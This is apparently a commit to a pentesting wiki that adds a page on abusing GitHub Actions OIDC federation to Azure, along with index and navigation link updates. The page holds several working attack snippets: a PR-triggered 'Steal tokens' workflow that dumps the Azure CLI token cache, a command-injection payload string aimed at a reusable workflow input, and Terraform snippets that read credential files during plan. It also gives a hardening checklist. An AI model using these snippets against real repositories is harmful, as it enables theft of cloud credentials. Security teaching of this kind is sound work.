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Add content from: GitHub Actions: A Cloudy Day for Security - Part 2
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‎searchindex.js‎

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‎src/SUMMARY.md‎

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- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
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- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
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- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
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- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
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- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
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- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
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- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)

‎src/pentesting-ci-cd/github-security/abusing-github-actions/README.md‎

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- run: ls tmp/checkout
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```
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### Accessing AWS and GCP via OIDC
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### Accessing AWS, Azure and GCP via OIDC
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Check the following pages:
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{{#ref}}
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../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
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{{#endref}}
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{{#ref}}
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../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
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{{#endref}}
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{{#ref}}
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../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
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{{#endref}}

‎src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md‎

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# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
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{{#include ../../../banners/hacktricks-training.md}}
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## Overview
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GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
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Azure validates at least:
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- iss: https://token.actions.githubusercontent.com
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- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
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- sub: must match the configured FIC Subject identifier
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> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
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## GitHub ID token quick PoC
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```yaml
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name: Print OIDC identity token
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on: { workflow_dispatch: {} }
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permissions:
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id-token: write
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jobs:
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view-token:
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runs-on: ubuntu-latest
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steps:
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- name: get-token
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run: |
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OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
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# Base64 avoid GitHub masking
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echo "$OIDC_TOKEN" | base64 -w0
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```
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To force Azure audience on token request:
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```bash
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OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
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"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
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```
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## Azure setup (Workload Identity Federation)
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1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).
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2) Add Federated identity credentials:
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- Issuer: https://token.actions.githubusercontent.com
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- Audience: api://AzureADTokenExchange
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- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).
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3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:
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```yaml
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name: Deploy to Azure
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on:
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push: { branches: [main] }
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permissions:
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id-token: write
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contents: read
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jobs:
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deploy:
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runs-on: ubuntu-latest
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steps:
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- name: Az CLI login
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uses: azure/login@v2
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with:
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client-id: ${{ secrets.AZURE_CLIENT_ID }}
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tenant-id: ${{ secrets.AZURE_TENANT_ID }}
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subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
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- name: Upload file to Azure
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run: |
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az storage blob upload --data "test" -c hmm -n testblob \
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--account-name sofiatest --auth-mode login
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```
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Manual exchange example (Graph scope shown; ARM or other resources similarly):
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```http
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POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
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Host: login.microsoftonline.com
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Content-Type: application/x-www-form-urlencoded
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client_id=<app-client-id>&grant_type=client_credentials&
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client_assertion=<GitHub-ID-token>&client_info=1&
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client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
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scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
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```
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## GitHub OIDC subject (sub) anatomy and customization
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Default sub format: repo:<org>/<repo>:<context>
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Context values include:
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- environment:<env>
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- pull_request (PR triggers when not in an environment)
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- ref:refs/(heads|tags)/<name>
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Useful claims often present in the payload:
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- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
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Customize sub composition via the GitHub API to include additional claims and reduce collision risk:
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```bash
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gh api orgs/<org>/actions/oidc/customization/sub
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gh api repos/<org>/<repo>/actions/oidc/customization/sub
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# Example to include owner and visibility
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gh api \
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--method PUT \
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repos/<org>/<repo>/actions/oidc/customization/sub \
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-f use_default=false \
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-f include_claim_keys='["repository_owner","repository_visibility"]'
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```
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Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:<name>) is still unsafe.
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## Scoping and risks of FIC subject types
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- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
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- Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
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- Environment: sub=repo:<org>/<repo>:environment:<env>
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- Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
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- Pull request: sub=repo:<org>/<repo>:pull_request
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- Highest risk: Any collaborator can open a PR and satisfy the FIC.
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PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):
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```yaml
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name: Steal tokens
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on: pull_request
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permissions:
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id-token: write
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contents: read
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jobs:
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extract-creds:
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runs-on: ubuntu-latest
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steps:
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- name: azure login
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uses: azure/login@v2
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with:
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client-id: ${{ secrets.AZURE_CLIENT_ID }}
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tenant-id: ${{ secrets.AZURE_TENANT_ID }}
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subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
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- name: Extract access token
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run: |
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# Azure CLI caches tokens here on Linux runners
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cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
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# Decode twice locally to recover the bearer token
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```
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Related file locations and notes:
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- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
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- Windows: msal_token_cache.bin under user profile; DPAPI‑protected
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## Reusable workflows and job_workflow_ref scoping
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Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:
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```
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ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
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```
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FIC example to bind both caller repo and the reusable workflow:
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```
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sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
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```
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Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:
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```http
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PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
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Host: api.github.com
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Authorization: token <access token>
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{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
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```
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Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.
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## Code execution vectors that bypass job_workflow_ref protections
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Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.
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Example vulnerable reusable step (unquoted interpolation):
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```yaml
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- name: Example Security Check
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run: |
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echo "Checking file contents"
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if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
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echo "Malicious content detected!"; exit 1
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else
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echo "File contents are safe."
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fi
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```
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Malicious caller input to execute commands and exfiltrate the Azure token cache:
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```yaml
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with:
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file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
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```
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## Terraform plan as an execution primitive in PRs
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Treat terraform plan as code execution. During plan, Terraform can:
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- Read arbitrary files via functions like file()
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- Execute commands via the external data source
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Example to exfiltrate Azure token cache during plan:
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```hcl
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output "msal_token_cache" {
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value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
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}
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```
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Or use external to run arbitrary commands:
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```hcl
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data "external" "exfil" {
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program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
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}
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```
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Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
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## Hardening checklist
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- Never use sub=...:pull_request for sensitive FICs
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- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
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- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
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- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
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- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
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- Treat terraform plan as code execution; restrict or isolate identities in PR contexts
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- Enforce least privilege on App Registrations; separate identities for plan vs apply
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- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)
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## Manual testing tips
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- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
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- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
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- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
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- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence
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## References
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- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
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- [azure/login action](https://github.com/Azure/login)
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- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
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- [gh CLI](https://cli.github.com/)
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- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
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{{#include ../../../banners/hacktricks-training.md}}

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